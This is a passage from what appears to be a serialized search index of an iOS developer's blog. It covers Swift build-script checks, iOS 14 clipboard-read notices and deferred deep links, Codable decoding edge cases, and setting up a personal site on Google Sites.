\"UIImage imageNamed:\\\\s*\\\\@\\\"\\(namePattern)\\\"\", // Default UIImage call \"\\\\<image name=\\\"\\(namePattern)\\\".*\", // Storyboard resources \"R.image.\\(namePattern)\\\\(\\\\)\" //R.swift support ] for p in patterns { let regex = try? NSRegularExpression(pattern: p, options: []) let range = NSRange(location:0, length:(inStringFile as NSString).length) regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in if let r = result { let value = (inStringFile as NSString).substring(with:r.range(at: 1)) localizedStrings.append(value) } } } return localizedStrings}func listUsedAssetLiterals() -> [String] { let enumerator = FileManager.default.enumerator(atPath:sourcePath) print(sourcePath) #if swift(>=4.1) return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .compactMap{$0} .compactMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings occurrences .flatMap{$0} // Flatten #else return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .flatMap{$0} .flatMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings occurrences .flatMap{$0} // Flatten #endif}^Traverse all project files and perform regex matching// To make an Error ❌ appear during build:print(\"ProjectFile.lproj\" + \"/file:line: \" + \"error: error message\")// To make a Warning ⚠️ appear during build:print(\"ProjectFile.lproj\" + \"/file:line: \" + \"warning: warning message\")^print error or warningYou can refer to the above code methods to create your own desired tools.SummaryAfter introducing these two checking tools, we can develop more confidently, efficiently, and reduce redundancy; also, this experience has been eye-opening, and in the future, if there are any new build run script requirements, we can directly use the most familiar language, Swift, to create them!If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience", "url": "/posts/8a04443024e2/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, ios-14, hacking, security", "date": "2020-07-02 21:51:36 +0800", "snippet": "iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and ConvenienceWhy do so many iOS apps read your clipboard?Photo by Clint Patterson⚠️ 2022/07/22 Update: iOS 16 Upcoming ChangesStarting fr...", "content": "iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and ConvenienceWhy do so many iOS apps read your clipboard?Photo by Clint Patterson⚠️ 2022/07/22 Update: iOS 16 Upcoming ChangesStarting from iOS ≥ 16, if the user does not actively perform a paste action, a prompt will appear when an app attempts to read the clipboard. The user must click allow for the app to access the clipboard information.UIPasteBoard’s privacy change in iOS 16IssueTop prompt message when the clipboard is read by an appStarting from iOS 14, users are notified when an app reads their clipboard. This has caused significant privacy concerns, especially with apps from China, which already have a notorious reputation. The media has amplified these concerns, leading to widespread panic. However, it’s not just Chinese apps; many apps from the US, Taiwan, Japan, and around the world have been found to read the clipboard. So why do so many apps need to read the clipboard?Google SearchSecurityThe clipboard may contain personal information or even passwords, such as those copied from password managers like 1Password or LastPass. Apps that can read the clipboard can potentially send this information back to their servers, depending on the developer’s integrity. To investigate, one can use man-in-the-middle sniffing to monitor the data being sent back to the app’s servers to see if it includes clipboard information.BackgroundThe Clipboard API has been available since iOS 3 in 2009. It wasn’t until iOS 14 that a prompt was added to notify users. Over the past decade, malicious apps could have already collected enough data.WhyWhy do so many apps, both domestic and international, read the clipboard when opened?First, let’s define the situation: I’m referring to “when the app is opened”, not when the app is actively being used. Reading the clipboard during app usage is more related to app functionality, such as Google Maps automatically pasting a copied address. However, some apps may continuously steal clipboard information. “A kitchen knife can be used to cut vegetables or to kill, depending on what the person using it intends to do.”The main reason the APP reads the clipboard when opened is to enhance the user experience through “ iOS Deferred Deep Link “, as shown in the process above. When a product offers both a web version and an APP, we prefer users to install the APP (as it has higher engagement). Therefore, when users browse the web version, they are guided to download the APP. We hope that after downloading and opening the APP, it will automatically open the page where the user left off on the web. EX: When I browse the PxHome mobile web version on Safari -> see a product I like and want to buy -> PxHome wants to direct traffic to the APP -> download the APP -> open the APP -> display the product I saw on the web.If we don’t do this, users can only 1. Go back to the web and click again, or 2. Search for the product again in the APP. Both options increase the difficulty and hesitation time for users to make a purchase, which might result in them not buying at all!From an operational perspective, knowing the source of successful installations is very helpful for marketing and advertising budget allocation.Why use the clipboard? Are there any alternatives?This is a cat-and-mouse game because Apple does not want developers to have a way to track user sources. Before iOS 9, the method was to store information in web cookies and read them after the APP was installed. After iOS 10, Apple blocked this method. With no other options, everyone resorted to the final technique — “using the clipboard to transmit information.” iOS 14 introduced a new feature that alerts users, making developers awkward.Another method is using Branch.io to record user profiles (IP, phone information) and then match the information. This is theoretically feasible but requires a lot of manpower (involving backend, database, APP) to research and implement, and it may result in misjudgments or collisions. *Android Google supports this feature natively, without the need for such workarounds.Affected APPsMany APP developers may not know they also have clipboard privacy issues because Google’s Firebase Dynamic Links service uses the same principle:// Reason for this string to ensure that only FDL links, copied to clipboard by AppPreview Page// JavaScript code, are recognized and used in copy-unique-match process. If user copied FDL to// clipboard by himself, that link must not be used in copy-unique-match process.// This constant must be kept in sync with constant in the server version at// durabledeeplink/click/ios/click_page.js Therefore, any APP using Google’s Firebase Dynamic Links service may have clipboard privacy issues!Personal OpinionThere are security issues, but it boils down to trust. Trust that developers are doing the right thing. If developers want to do evil, there are more effective ways, such as stealing credit card information or recording real passwords. The purpose of the alert is to let users notice when the clipboard is being read. If it’s unreasonable, be cautious!Reader QuestionsQ: “TikTok responded that accessing the clipboard is to detect spam behavior.” Is this statement correct?A: I personally think it’s just an excuse to appease public opinion. TikTok means “to prevent users from copying and pasting ad messages everywhere.” But this can be done when the message is completed or sent, without constantly monitoring the user’s clipboard information. Do they also need to manage if the clipboard has ads or “sensitive” information? I haven’t pasted and published it yet.What Developers Can DoIf you don’t have a spare device to upgrade to iOS 14 for testing, you can download XCode 12 from Apple and test it using the simulator.Everything is still very new. If you are using Firebase, you can refer to Firebase-iOS-SDK/Issue #5893 and update to the latest SDK.If you are implementing DeepLink yourself, you can refer to the modifications in Firebase-iOS-SDK #PR 5905:Swift:if #available(iOS 10.0, *) { if (UIPasteboard.general.hasURLs) { //UIPasteboard.general.string }} else { //UIPasteboard.general.string}Objective-C:if (@available(iOS 10.0, *)) { if ([[UIPasteboard generalPasteboard] hasURLs]) { //[UIPasteboard generalPasteboard].string; } } else { //[UIPasteboard generalPasteboard].string; } return pasteboardContents;}First, check if the clipboard content is a URL (in line with the content copied by web JavaScript being a URL with parameters). If it is, then read it, so the clipboard won’t be read every time the app is opened. Currently, this is the only way. The prompt will still appear, but it will be more focused.Additionally, Apple has introduced a new API: DetectPattern to help developers more accurately determine if the clipboard information is what we need, then read it and prompt, making users feel more secure while developers can continue to use this feature. DetectPattern is still in Beta and can only be implemented using Objective-C.Or… Switch to Branch.io Implement the principle of Branch.io yourself The app first shows a customized alert to inform the user before reading the clipboard (to reassure the user) Add new privacy terms iOS 14’s latest App Clips? Web -> Guide to App Clips for lightweight use -> Deep operation guide to the appFurther Reading iOS Deferred Deep Link Implementation (Swift) iOS+MacOS Using mitmproxy for Man-in-the-Middle Sniffing iOS 15 / MacOS Monterey Safari Will Be Able to Hide Real IPIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Real-World Codable Decoding Issues (Part 2)", "url": "/posts/cb00b1977537/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, codable, json, core-data", "date": "2020-06-26 01:56:31 +0800", "snippet": "Real-World Codable Decoding Issues (Part 2)Handling Response Null Fields Reasonably, No Need to Always Rewrite init decoderPhoto by ZanIntroductionFollowing the previous article “Real-World Codable...", "content": "Real-World Codable Decoding Issues (Part 2)Handling Response Null Fields Reasonably, No Need to Always Rewrite init decoderPhoto by ZanIntroductionFollowing the previous article “Real-World Codable Decoding Issues”, as development progresses, new scenarios and problems have emerged. Hence, this part continues to document the encountered situations and research insights for future reference.The previous part mainly solved the JSON String -> Entity Object Decodable Mapping. Once we have the Entity Object, we can convert it into a Model Object for use within the program, View Model Object for handling data display logic, etc. On the other hand, we need to convert the Entity into NSManagedObject to store it in local Core Data.Main IssueAssume our song Entity structure is as follows:struct Song: Decodable { var id: Int var name: String? var file: String? var coverImage: String? var likeCount: Int? var like: Bool? var length: Int?}Since the API EndPoint may not always return complete data fields (only id is guaranteed), all fields except id are Optional. For example, when fetching song information, a complete structure is returned, but when liking a song, only the id, likeCount, and like fields related to the change are returned.We hope that whatever fields the API Response contains can be stored in Core Data. If the data already exists, update the changed fields (incremental update). But here lies the problem: After Codable Decoding into an Entity Object, we cannot distinguish between “the data field is intended to be set to nil” and “the Response did not provide it”A Response:{ \"id\": 1, \"file\": null}For A Response and B Response, the file is null, but the meanings are different; A intends to set the file field to null (clear the original data), while B intends to update other data and simply did not provide the file field. A developer in the Swift community proposed adding a null Strategy similar to date Strategy in JSONDecoder, allowing us to distinguish the above situations, but there are currently no plans to include it.SolutionAs mentioned earlier, our architecture is JSON String -> Entity Object -> NSManagedObject, so when we get the Entity Object, it is already the result after decoding, and there is no raw data to operate on; of course, we can use the original JSON String for comparison, but it would be better not to use Codable in that case.First, refer to the previous article to use Associated Value Enum as a container to hold values.enum OptionalValue<T: Decodable>: Decodable { case null case value(T) init(from decoder: Decoder) throws { let container = try decoder.singleValueContainer() if let value = try? container.decode(T.self) { self = .value(value) } else { self = .null } }}Using generics, T is the actual data field type; .value(T) can hold the decoded value, and .null represents that the value is null.struct Song: Decodable { enum CodingKeys: String, CodingKey { case id case file } var id: Int var file: OptionalValue<String>? init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) if container.contains(.file) { self.file = try container.decode(OptionalValue<String>.self, forKey: .file) } else { self.file = nil } }}var jsonData = \"\"\"{ \"id\":1}\"\"\".data(using: .utf8)!var result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)jsonData = \"\"\"{ \"id\":1, \"file\":null}\"\"\".data(using: .utf8)!result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)jsonData = \"\"\"{ \"id\":1, \"file\":\"https://test.com/m.mp3\"}\"\"\".data(using: .utf8)!result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result) The example is simplified to only include id and file data fields.The Song Entity implements its own decoding method, using the contains(.KEY) method to determine whether the response includes the field (regardless of its value). If it does, it decodes it into OptionalValue; within the OptionalValue Enum, it decodes the actual value we want. If the value is successfully decoded, it is placed in .value(T); if the value is null (or decoding fails), it is placed in .null. When the response includes the field and value: OptionalValue.value(VALUE) When the response includes the field and the value is null: OptionalValue.null When the response does not include the field: nil This way, we can distinguish whether the field is provided or not, and when writing to Core Data, we can determine whether to update the field to null or not update this field at all.Other Research — Double Optional ❌Optional!Optional! is quite suitable for handling this scenario in Swift.struct Song: Decodable { var id: Int var name: String?? var file: String?? var converImage: String?? var likeCount: Int?? var like: Bool?? var length: Int??} When the response provides the field & value: Optional(VALUE) When the response provides the field & the value is null: Optional(nil) When the response does not provide the field: nilHowever… Codable JSONDecoder Decode handles both Double Optional and Optional with decodeIfPresent, treating both as Optional without special handling for Double Optional; so the result remains the same as before.Other Research — Property Wrapper ❌Initially, it was thought that Property Wrapper could be used for elegant encapsulation, such as:@OptionalValue var file: String?But before delving into the details, it was found that Codable Property fields marked with Property Wrapper require the API response to have that field, otherwise, a keyNotFound error will occur, even if the field is Optional. ?????There is also a discussion thread on the official forum regarding this issue… It is estimated that this will be fixed in the future. Therefore, when choosing packages like BetterCodable or CodableWrappers, consider the current issue with Property Wrapper.Other Problem Scenarios1. API Response uses 0/1 to represent Bool, how to Decode?import Foundationstruct Song: Decodable { enum CodingKeys: String, CodingKey { case id case name case like } var id: Int var name: String? var like: Bool? init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) self.name = try container.decodeIfPresent(String.self, forKey: .name) if let intValue = try container.decodeIfPresent(Int.self, forKey: .like) { self.like = (intValue == 1) ? true : false } else if let boolValue = try container.decodeIfPresent(Bool.self, forKey: .like) { self.like = boolValue } }}var jsonData = \"\"\"{ \"id\": 1, \"name\": \"告五人\", \"like\": 0}\"\"\".data(using: .utf8)!var result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)Extending the previous section, we can initialize Decode in init and decode it into int/Bool, then assign it ourselves. This way, we can extend the original fields to accept 0/1/true/false.2. Don’t want to rewrite the init decoder every timeIf you don’t want to create your own Decoder, you can override the original JSON Decoder to add more functionality.We can extend KeyedDecodingContainer and define public methods ourselves. Swift will prioritize executing the methods we redefine under the module, overriding the original Foundation implementation. This affects the entire module. And it’s not a true override, you can’t call super.decode, and be careful not to call yourself (e.g., decode(Bool.Type, forKey) in decode(Bool.Type, forKey)).There are two decode methods: decode(Type, forKey:) handles non-Optional data fields decodeIfPresent(Type, forKey:) handles Optional data fieldsExample 1. The main issue mentioned earlier can be directly extended:extension KeyedDecodingContainer { public func decodeIfPresent<T>(_ type: T.Type, forKey key: Self.Key) throws -> T? where T : Decodable { //better: switch type { case is OptionalValue<String>.Type, is OptionalValue<Int>.Type: return try? decode(type, forKey: key) default: return nil } // or just return try? decode(type, forKey: key) }}struct Song: Decodable { var id: Int var file: OptionalValue<String>?}Since the main issue is with Optional data fields and Decodable types, we override the decodeIfPresent<T: Decodable> method.It is speculated that the original implementation of decodeIfPresent returns nil if the data is null or the response does not provide it, without actually running decode.So the principle is simple: as long as the Decodable Type is OptionValue<T>, it will try to decode regardless, allowing us to get different state results. But actually, not judging the Decodable Type also works, meaning all Optional fields will try to decode.Example 2. Problem scenario 1 can also be extended using this method:extension KeyedDecodingContainer { public func decodeIfPresent(_ type: Bool.Type, forKey key: KeyedDecodingContainer<K>.Key) throws -> Bool? { if let intValue = try? decodeIfPresent(Int.self, forKey: key) { return (intValue == 1) ? (true) : (false) } else if let boolValue = try? decodeIfPresent(Bool.self, forKey: key) { return boolValue } return nil }}struct Song: Decodable { enum CodingKeys: String, CodingKey { case id case name case like } var id: Int var name: String? var like: Bool?}var jsonData = \"\"\"{ \"id\": 1, \"name\": \"告五人\", \"like\": 1}\"\"\".data(using: .utf8)!var result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)ConclusionCodable has been used in various tricky ways, some of which are quite convoluted because Codable’s constraints are too strong, sacrificing much of the flexibility needed in real-world development. In the end, you might even start to question why you chose Codable in the first place, as the advantages seem to diminish…References You might not need to override the init(from:) methodReview Summary of Decode Issues Encountered in Real-World Use of Codable (Part 1)If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Is it Still Up-to-Date to Build a Personal Website Using Google Site?", "url": "/posts/724a7fb9a364/", "categories": "ZRealm, Life.", "tags": "google, google-sites, web-development, life, domain-names", "date": "2020-06-17 23:53:54 +0800", "snippet": "Is it Still Up-to-Date to Build a Personal Website Using Google Site?New Google Site Personal Website Building Experience and Setup TutorialUpdate 2022–07–17Currently, I have used my self-written Z...", "content": "Is it Still Up-to-Date to Build a Personal Website Using Google Site?New Google Site Personal Website Building Experience and Setup TutorialUpdate 2022–07–17Currently, I have used my self-written ZMediumToMarkdown tool to package and download Medium articles and convert them to Markdown format, migrating to Jekyll.zhgchg.li Click here for a step-by-step painless migration tutorial 🚀🚀🚀🚀🚀===OriginLast year, when I changed jobs, I “extravagantly” registered a domain name to serve as a personal resume link; after half a year, I thought of making the domain more useful by adding more information. On the other hand, I was also looking for a second website to back up the articles published on Medium, just in case.Desired Features Customizable pages Smooth writing interface like Medium Interactive features (like/comment/follow) Good SEO structure Lightweight and fast loading Ability to bind to own domain Low intrusiveness (ad intrusiveness, site branding) Easy to set upSite Options Self-hosted WordPress A long time ago, I rented a host and domain and used WordPress to build a personal website; from setup to adjusting to my preferred layout, installing plugins, and even developing missing plugins myself, I had no energy left to write. Moreover, it felt cumbersome, and the loading speed/SEO was not as good as Medium. Spending more time fine-tuning it would leave me with even less energy to write. Matters/Jianshu, etc. Similar to the Medium platform, but since I’m not considering monetization, it’s not suitable. wix/weebly are too commercial-oriented, and the free version is too intrusive Google Site (this article) Github Pages + Jekyll Still looking »> Suggestions are welcomeAbout Google SiteAround 2010, I used the old version of Google Site to create a personal website -> file download center page; the impression is a bit vague, but I remember the layout was cumbersome, and the interface was not smooth. After 10 years, I thought this service had been discontinued. I accidentally saw a domain investor using it to create a domain parking page with contact information for sale:At first glance, I thought, “Wow! The visuals are nice, they even made a page to sell the domain.” Upon closer inspection of the bottom left corner, I realized, “Wow! It’s built with Google Site,” which is vastly different from the interface I used 10 years ago. After checking, I found out that Google Site had not been discontinued; instead, a new version was launched in 2016. Although it’s been almost five years since then, at least the interface is up-to-date!Finished Product ShowcaseBefore saying anything else, let’s take a look at the finished product I made. If you also “feel the same,” you might consider giving it a try!HomePersonal Resume PageCity Corner (Waterfall Photo Display)Article Directory (Link to Medium)Contact Me (Embedded Google Form)Why Not Give It a Try?To save reading time, I’ll get straight to the point; I’m still looking for a more suitable service option. Although it is continuously maintained and updated, Google Site has several critical shortcomings that are important to me. Here are the fatal flaws I encountered while using it.Fatal Flaws Code Highlighting Function Defect The function only shows Code Block with gray background without color changes. If you want to embed Gist, you can only use Embed JavaScript (iframe), but Google Site does not handle it well. The height cannot change with page scaling, resulting in either too much blank space or two scroll bars on small mobile screens, which is very ugly and hard to read. SEO Structure is Basically Zero “Surprised? Not really.” Google’s own service has an SEO structure like 💩. It doesn’t allow customization of any head meta (description/tag/og:). Forget about SEO ranking; just pasting your site link on Line/Facebook and having no preview information, only an ugly URL and site name, is already bad enough.Advantages1. Low Intrusiveness, only a floating exclamation mark at the bottom left that shows “Google Collaboration Platform Report Abuse” when clicked2. Easy-to-use Interface, quickly create pages by dragging components on the rightSimilar to wix/weebly or cakeresume? Just drag and fill in the components to complete the layout!3. Supports RWD, built-in search, navigation bar4. Supports Landing Page5. No special traffic limits, capacity depends on the creator’s Google Drive limit6. 🌟 Can bind to your own domain7. 🌟 Can directly integrate GA for visitor analysis8. Official Community collects feedback and continuously maintains updates9. Supports announcement notifications10. 🌟 Seamlessly embeds YouTube, Google Forms, Google Slides, Google Docs, Google Calendar, Google Maps, and supports RWD for desktop/mobile browsing11. 🌟 Page content supports JavaScript/Html/CSS embedding12. Clean and simple URLs (http://example.com/page-name/subpage-name), customizable page path names13. 🌟 Page layout has reference lines/auto-alignment, very considerateReference alignment lines appear when dragging componentsApplicable WebsitesI think Google Site is only suitable for very lightweight web services, such as school clubs, small event websites, personal resumes.Some Setup TutorialsList some problems I encountered and solved during use; everything else is WYSIWYG operations, nothing much to record.How to bind a personal domain?1. Go to http://google.com/webmasters/verification 2. Click “ Add a property “ and enter “ Your domain “ then click “Continue”3. Choose your “ Domain name provider “ and copy the “ DNS verification string “4. Go to your domain name provider’s website (Here we use Namecheap.com as an example, others are similar)In the DNS settings section, add a new record, select “ TXT Record “ as the type, enter “ @ “ as the host, and enter the DNS verification string you just copied as the value, then click add to submit.Add another record, select “ CNAME Record “ as the type, enter “ www (or the subdomain you want to use) “ as the host, and enter “ ghs.googlehosted.com. “ as the value, then click add to submit. Additionally, you can also redirect http://zhgchg.li -> http://www.zhgchg.li After setting this up, you need to wait a bit… waiting for the DNS records to take effect…5. Go back to Google Master and click verify If you see “Verification failed” don’t worry! Please wait a bit longer, if it still doesn’t work after an hour, go back and check if there are any mistakes in the settings.Successfully verified domain ownership6. Go back to your Google Site settings pageClick the top right “ Gear (Settings) “ and select “ Custom URLs “, enter the domain name you want to assign, or the subdomain you want to use, and click “ Assign “.After successfully assigning, close the settings window and click the top right “ Publish “ to publish. Again, you need to wait a bit… waiting for the DNS records to take effect…7. Open a new browser and enter the URL to see if it can be accessed normally If you see “This site can’t be reached” don’t worry! Please wait a bit longer, if it still doesn’t work after an hour, go back and check if there are any mistakes in the settings.Done!Subpages, Page Path SettingsSubpages will automatically gather and display in the navigation menuHow to set it up?Switch to the “Pages” tab on the right.You can add a page and drag it under an existing page to make it a subpage, or click “…” to operate.Select properties to customize the page path.Enter the path name (EX: dev -> http://www.zhgchg.li/dev)Header and Footer Settings1. Header SettingsHover over the navigation bar and select “ Add Header “After adding the header, hover over the bottom left corner to change the image, enter the title text, and change the header type.2. Footer SettingsHover over the bottom of the page and select “ Edit Footer “ to enter footer information. Note! Footer information is shared across the entire site, and the same content will be applied to all pages! You can also click the “eye” icon in the bottom left corner to control whether to display the footer information on this page.Set Website Favicon, Header Name, and IconfaviconWebsite Title, LogoHow to set it?Click the “ Gear (Settings) “ in the top right corner and select “ Brand Images “ to set it. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!Hide/Show Last Updated Information and Page Anchor Link TipsLast Updated InformationPage Anchor Link TipsHow to set it?Click the “ Gear (Settings) “ in the top right corner and select “ Viewer Tools “ to set it. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!Integrate GA Traffic Analysis1. Go to https://analytics.google.com/analytics/web/?authuser=0#/provision/SignUp to create a new GA account2. Copy the GA Tracking ID after creation3. Return to your Google Site settings pageClick the “ Gear (Settings) “ in the top right corner and select “ Analytics “ to enter the “ GA Tracking ID “. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!Set Site-wide/Homepage Banner AnnouncementBanner AnnouncementHow to set it?Click the “ Gear (Settings) “ in the top right corner and select “ Announcement Banner “ to set it. Don’t forget to go back to the page and click “ Publish “ for the changes to take effect!You can specify the banner message content, color, button text, link to click, whether to open in a new tab, and set it to display site-wide or only on the homepage.Publish SettingsTop right “Publish ▾”You can review changes and publish them.You can set whether to allow search engines to index and disable the content review page before each publish.Embed Javascript/HTML/CSS, Bulk ImagesGist as an example But as mentioned in the fatal flaw above, embedding an iframe cannot respond to the height according to the webpage size.How to insert?Select “Embed”Choose embed codeYou can enter JavaScript/HTML/CSS to create custom styled Button UI. Additionally, selecting “Image” allows you to insert multiple images, which will be displayed in a waterfall flow (as seen on my City Corner page).Embedded Google Forms cannot be filled out directly on the page?This is because the form contains a “ file upload “ item, which cannot be embedded in other pages using an iframe due to browser security issues; thus, it only shows the survey information and requires clicking the fill button to open a new window to complete the form.The solution is to remove the file upload item, allowing the form to be filled out directly on the page.Button component URLs cannot include anchor pointsEX: #lifesection, I want to place it at the top of the page for a table of contents or at the bottom for a GoTop button.According to the official community, this is currently not possible. The button link can only 1. open an external link in a new window or 2. specify an internal page. Therefore, I later used subpages to split the directory.Further Reading [Productivity Tools] Abandon Chrome and Embrace the Sidekick BrowserIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Real-world Decode Issues with Codable", "url": "/posts/1aa2f8445642/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, codable, json, decode", "date": "2020-06-14 00:33:58 +0800", "snippet": "Real-world Decode Issues with Codable (Part 1)From basic to advanced, deeply using Decodable to meet all possible problem scenariosPhoto by Gustas BrazaitisPrefaceDue to the backend API upgrade, we...", "content": "Real-world Decode Issues with Codable (Part 1)From basic to advanced, deeply using Decodable to meet all possible problem scenariosPhoto by Gustas BrazaitisPrefaceDue to the backend API upgrade, we need to adjust the API processing architecture. Recently, we took this opportunity to update the original network processing architecture written in Objective-C to Swift. Due to the different languages, it is no longer suitable to use the original Restkit to handle our network layer applications. However, it must be said that Restkit’s functionality is very powerful, and it was used very effectively in the project with almost no major issues. But it is relatively cumbersome, almost no longer maintained, and purely Objective-C. It will inevitably need to be replaced in the future.Restkit almost handled all the network request-related functions we needed, from basic network processing, API calls, network processing, to response processing JSON String to Object, and even storing objects into Core Data. It was a framework that could handle ten tasks at once.With the evolution of the times, the current frameworks no longer focus on an all-in-one package but more on flexibility, lightness, and combination, increasing more flexibility and creating more variations. Therefore, when replacing it with Swift, we chose to use Moya as the network processing part of the package, and other functions we needed were combined in other ways.Main ContentFor the JSON String to Object Mapping part, we use Swift’s built-in Codable (Decodable) protocol & JSONDecoder for processing. We split the Entity/Model to enhance responsibility separation, operation, and readability. Additionally, we also need to consider the code base mixing Objective-C and Swift. * The Encodable part is omitted, and the examples only show the implementation of Decodable. They are similar; if you can decode, you can also encode.Getting StartedAssume our initial API Response JSON String is as follows:{ \"id\": 123456, \"comment\": \"It's Accusefive, not Five Accuse!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" }}From the above example, we can split it into three entities & models: User, Song, and Comment. For convenience, let’s write the Entity/Model in the same file.User:// Entity:struct UserEntity: Decodable { var id: Int var name: String var email: String}//Model:class UserModel: NSObject { init(_ entity: UserEntity) { self.id = entity.id self.name = entity.name self.email = entity.email } var id: Int var name: String var email: String}Song:// Entity:struct SongEntity: Decodable { var id: Int var name: String}//Model:class SongModel: NSObject { init(_ entity: SongEntity) { self.id = entity.id self.name = entity.name } var id: Int var name: String}Comment:// Entity:struct CommentEntity: Decodable { enum CodingKeys: String, CodingKey { case id case comment case targetObject = \"target_object\" case commenter } var id: Int var comment: String var targetObject: SongEntity var commenter: UserEntity}//Model:class CommentModel: NSObject { init(_ entity: CommentEntity) { self.id = entity.id self.comment = entity.comment self.targetObject = SongModel(entity.targetObject) self.commenter = UserModel(entity.commenter) } var id: Int var comment: String var targetObject: SongModel var commenter: UserModel}JSONDecoder:let jsonString = \"{ \\\"id\\\": 123456, \\\"comment\\\": \\\"It's Accusefive, not Five Accuse!\\\", \\\"target_object\\\": { \\\"type\\\": \\\"song\\\", \\\"id\\\": 99, \\\"name\\\": \\\"Thinking of You Under the Stars\\\" }, \\\"commenter\\\": { \\\"type\\\": \\\"user\\\", \\\"id\\\": 1, \\\"name\\\": \\\"zhgchgli\\\", \\\"email\\\": \\\"zhgchgli@gmail.com\\\" } }\"let jsonDecoder = JSONDecoder()do { let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)} catch { print(error)}CodingKeys Enum?When our JSON String Key Name does not match the Entity Object Property Name, we can add a CodingKeys enum internally to map them, as we cannot control the naming convention of the backend data source.case PropertyKeyName = \"backend_field_name\"case PropertyKeyName // If not specified, the default is to use PropertyKeyName as the backend field nameOnce the CodingKeys enum is added, all non-Optional fields must be enumerated, and you cannot just list the keys you want to customize.Another way is to set the keyDecodingStrategy of JSONDecoder. If the response data fields and property names differ only by snake_case <-> camelCase, you can directly set .keyDecodingStrategy = .convertFromSnakeCase to automatically match the mapping.let jsonDecoder = JSONDecoder()jsonDecoder.keyDecodingStrategy = .convertFromSnakeCasetry jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)When the returned data is an array:struct SongListEntity: Decodable { var songs:[SongEntity]}Adding constraints to String:struct SongEntity: Decodable { var id: Int var name: String var type: SongType enum SongType { case rock case pop case country }}Applicable to string types with a limited range, writing them as Enums makes it convenient for us to pass and use; if a value appears that is not enumerated, decoding will fail!Make good use of generics to wrap fixed structures:Assuming the JSON String returned in multiple instances has a fixed format:{ \"count\": 10, \"offset\": 0, \"limit\": 0, \"results\": [ { \"type\": \"song\", \"id\": 1, \"name\": \"1\" } ]}You can wrap it using generics:struct PageEntity<E: Decodable>: Decodable { var count: Int var offset: Int var limit: Int var results: [E]}Usage: PageEntity<Song>.selfDate/Timestamp automatic decoding:Set the dateDecodingStrategy of JSONDecoder .secondsSince1970/.millisecondsSince1970: Unix timestamp .deferredToDate: Apple’s timestamp, rarely used, different from Unix timestamp, it starts from 2001/01/01 .iso8601: ISO 8601 date format .formatted(DateFormatter): Decode Date according to the passed-in DateFormatter .custom: Custom Date Decode logic.custom example: Assuming the API returns both YYYY/MM/DD and ISO 8601 formats, both need to be decoded:var dateFormatter = DateFormatter()var iso8601DateFormatter = ISO8601DateFormatter()let decoder: JSONDecoder = JSONDecoder()decoder.dateDecodingStrategy = .custom({ (decoder) -> Date in let container = try decoder.singleValueContainer() let dateString = try container.decode(String.self) //ISO8601: if let date = iso8601DateFormatter.date(from: dateString) { return date } //YYYY-MM-DD: dateFormatter.dateFormat = \"yyyy-MM-dd\" if let date = dateFormatter.date(from: dateString) { return date } throw DecodingError.dataCorruptedError(in: container, debugDescription: \"Cannot decode date string \\(dateString)\")})let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!) *DateFormatter is very performance-consuming when initialized, try to reuse it as much as possible.Basic Decode knowledge: The field types (struct/class/enum) within the Decodable Protocol must implement the Decodable Protocol; or assign values when initializing the decoder Decoding will fail if the field types do not match If a field in the Decodable Object is set to Optional, it is optional; if provided, it will be decoded Optional fields can accept: JSON String without the field, provided but given as nil Blank, 0 is not equal to nil, nil is nil; pay attention to weakly typed backend APIs! By default, if a non-Optional field in the Decodable Object is an enum and the JSON String does not provide it, decoding will fail (will explain how to handle this later) By default, decoding failure will directly interrupt and exit, it cannot simply skip erroneous data (will explain how to handle this later)Left: “” / Right: nilAdvanced UsageSo far, the basic usage has been completed, but the real world is not that simple. Below are some advanced scenarios you might encounter and solutions using Codable. From here on, we can no longer rely on the original Decode to help us with Mapping; we need to implement init(from decoder: Decoder) for custom Decode operations. *For now, we will only show the Entity part; the Model is not needed yet.init(from decoder: Decoder)init decoder, must assign initial values to all non-Optional fields (that’s init!).When customizing Decode operations, 